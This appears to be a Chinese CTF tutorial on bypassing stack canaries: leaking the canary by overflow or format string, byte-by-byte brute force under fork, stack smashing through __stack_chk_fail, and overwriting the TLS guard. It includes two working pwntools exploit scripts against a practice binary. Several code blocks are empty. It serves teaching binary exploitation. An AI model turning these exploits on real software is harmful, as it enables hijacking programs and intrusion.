绕过保护之Canary
初识Canary
关于canary说白了就是一个防止栈溢出的手段,一般情况下是在栈底前边设置一个值,在进程结束时,对比这个值有没有被篡改,如果篡改就退出。具体汇编如下
函数开始前在函数序言部分会取 fs 寄存器 0x28 处的值,存放在栈中 rbp-0x8 的位置(32位ebp-0x4。但是这个位置不是绝对的,可以通过ida分析)。 这个操作即为向栈中插入 Canary 值
1 |
|
函数结束时,会将该值取出,并与 fs:0x28 的值进行异或。如果异或的结果为 0,说明 Canary 未被修改,函数会正常返回,这个操作即为检测是否发生栈溢出
1 |
|
如果 Canary 已经被非法修改,此时程序流程会走到 __stack_chk_fail。__stack_chk_fail 也是位于 glibc 中的函数,默认情况下经过 ELF 的延迟绑定,这个函数不同的libc会不同(从glibc开始 2.27后稍有不同)定义如下
1 |
|
在没有开启FULL RELRO保护时,我们可以通过劫持GOT表,然后触发Canary检测报错,这时就会进入劫持的地址。另一种是利用fortify_fail函数打印关键信息
关于Canary的储存地址,对于Liunx来说,fs寄存器实际指向的是当前进程的TLS结构,fs:0x28指向的正式stack_guard。如果溢出条件合适,我们完全可以覆盖TLS中保存的Canary值
1 |
|
这个值由ssecurity_init函数来初始化
1 |
|
Canary的最后一个字节呗设置为0,防止类似与printf(“%s” , &buf),形式的函数不小心打印出来,所以我们可以把这个0给覆盖,用打印函数来覆盖,这样就泄露了Canary的值
Canary保护机制总结
- _dl_random由Kernel写入
- security_init 函数将_dl_random 的最后一个字节设置为0,防止 printf(“%s”)这类打印函数不小心泄露 Canary。
- security_init 函数将 Canary 值设置到 TLS 中。
- 在函数开始时,会取出TLS中的Canary值放在ebp-4h(64位系统为rbp-8h)
中,即防止通过栈溢出修改 ebp 和返回地址。 - 在函数结束时,会取出ebp-4h(64位系统为rbp-8h)的值,并与 TLS 中的 Canar值进行异或,判断是否为0。若结果为0,则检查通过;若结果不为0,则检查不通过,进人stack_chk_fail 函数
Canary保护机制主要有两个漏洞
- stack_chk_fai1函数会有信息输出,如果我们能够控制 libc_argv[0],就能够通过stack_chk fail函数泄露出我们想要的信息,这个技术被称为 stacksmashes(glibc 2.27 和 2.27之后的版本会有一些变化)。
- 如果我们有一个很长的栈溢出,那么可以直接溢出TLS 中的 a1_random 的值,因此可以绕过 Canary 保护。当然,这里可能还需要一个多线程的条件,可以在后续例
题中看到。
对于有Canary的程序,如果考虑栈溢出攻击,主要有四个攻击点:
- 利用泄露函数泄露出 Canary 的值,再进行利用。
- 爆破得到 Canary 的值。
- stack_chk fai1 函数泄露关键信息。
- 修改 TLS 中的 stack quard 值。
泄露Canary值
附件下载
注意点Canary值距离ebp为0xc,然后通过栈溢出覆盖最后一位0,通过打印函数打印出来cancary
- 第一种是用栈溢出漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23from pwn import *
from LibcSearcher import *
filename = './leak_canary'
if len(sys.argv) > 1 and sys.argv[1] == 'remote':
p = remote( )
else:
p = process(filename)
context(log_level = 'debug')
elf = ELF(filename)
target = 0x080485CC
payload = b'a' * 0x100 + b'b'
p.send(payload)
p.recvuntil(b'a' * 0x100)
canary_addr = u32(p.recv(4)) - ord('b')
success(hex(canary_addr))
payload2 = b'\x00' * 0x100 + p32(canary_addr)
payload2 += p32(1) * 3
payload2 += p32(target)
p.sendline(payload2)
p.interactive() - 第二种是利用格式化字符串
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24from pwn import *
from LibcSearcher import *
filename = './leak_canary'
if len(sys.argv) > 1 and sys.argv[1] == 'remote':
p = remote( )
else:
p = process(filename)
context(log_level = 'debug')
elf = ELF(filename)
target = 0x080485CC
p1 = '%{offset}$p\n'.format(offset = 71)
p.send(p1)
canary_addr = int(p.recvuntil('\n' , drop=True) , 16)
success(hex(canary_addr))
p2 = b'a' * 0x100 + p32(canary_addr)
p2 += 0xc * b'a'
p2 += p32(target)
p.sendline(p2)
p.interactive()
逐字节爆破Canary
附件下载
这种方法局限性比较大,必须有fork函数开启子进程。因为fork函数会直接拷贝父进程内存,所以创建的子进程canary都是相同的
我们一直fork开启子进程,一个一个字节的爆破
1 |
|
| 这两个理解起来都很简单,没有什么难点,看着exp很容易理解
stack_smashes
前边已经简绍了,_stack_chk_fail函数会将__libc_agrc[0]的信息打印出来,所以我们可以改变__libc_agrc[0]的地址为我们想要信息的值,那么就能得到相应数据了
首先简绍一下什么是__libc_agrc[0]
main(int argc , char ,*argv[ ])
- argc为整数
- argv为指针的指针(可理解为:char **argv or: char *argv[] or: char argv[][] ,argv是一个指针数组)
注:main()括号内是固定的写法。 - 下面给出一个例子来理解这两个参数的用法:
** 假设程序的名称为prog,**
当只输入prog,则由操作系统传来的参数为:
argc=1,表示只有一程序名称。
argc只有一个元素,argv[0]指向输入的程序路径及名称:./prog
当输入prog para_1,有一个参数,则由操作系统传来的参数为:
argc=2,表示除了程序名外还有一个参数。
argv[0]指向输入的程序路径及名称。
argv[1]指向参数para_1字符串。
当输入prog para_1 para_2 有2个参数,则由操作系统传来的参数为:
argc=3,表示除了程序名外还有2个参数。
argv[0]指向输入的程序路径及名称。
argv[1]指向参数para_1字符串。
argv[2]指向参数para_2字符串。 - void main( int argc, char *argv[] )
char *argv[] : argv 是一个指针数组,他的元素个数是argc,存放的是指向每一个参数的指针
我们本题需要找__libc_agrc[0]和输入的偏移
下断点直接到输入函数
第二个参数为输入地址(具体第几个参数,根据函数本身决定)
下断点到main
__libc_argv[0]指向的是文件路径
直接算出偏移
1 |
|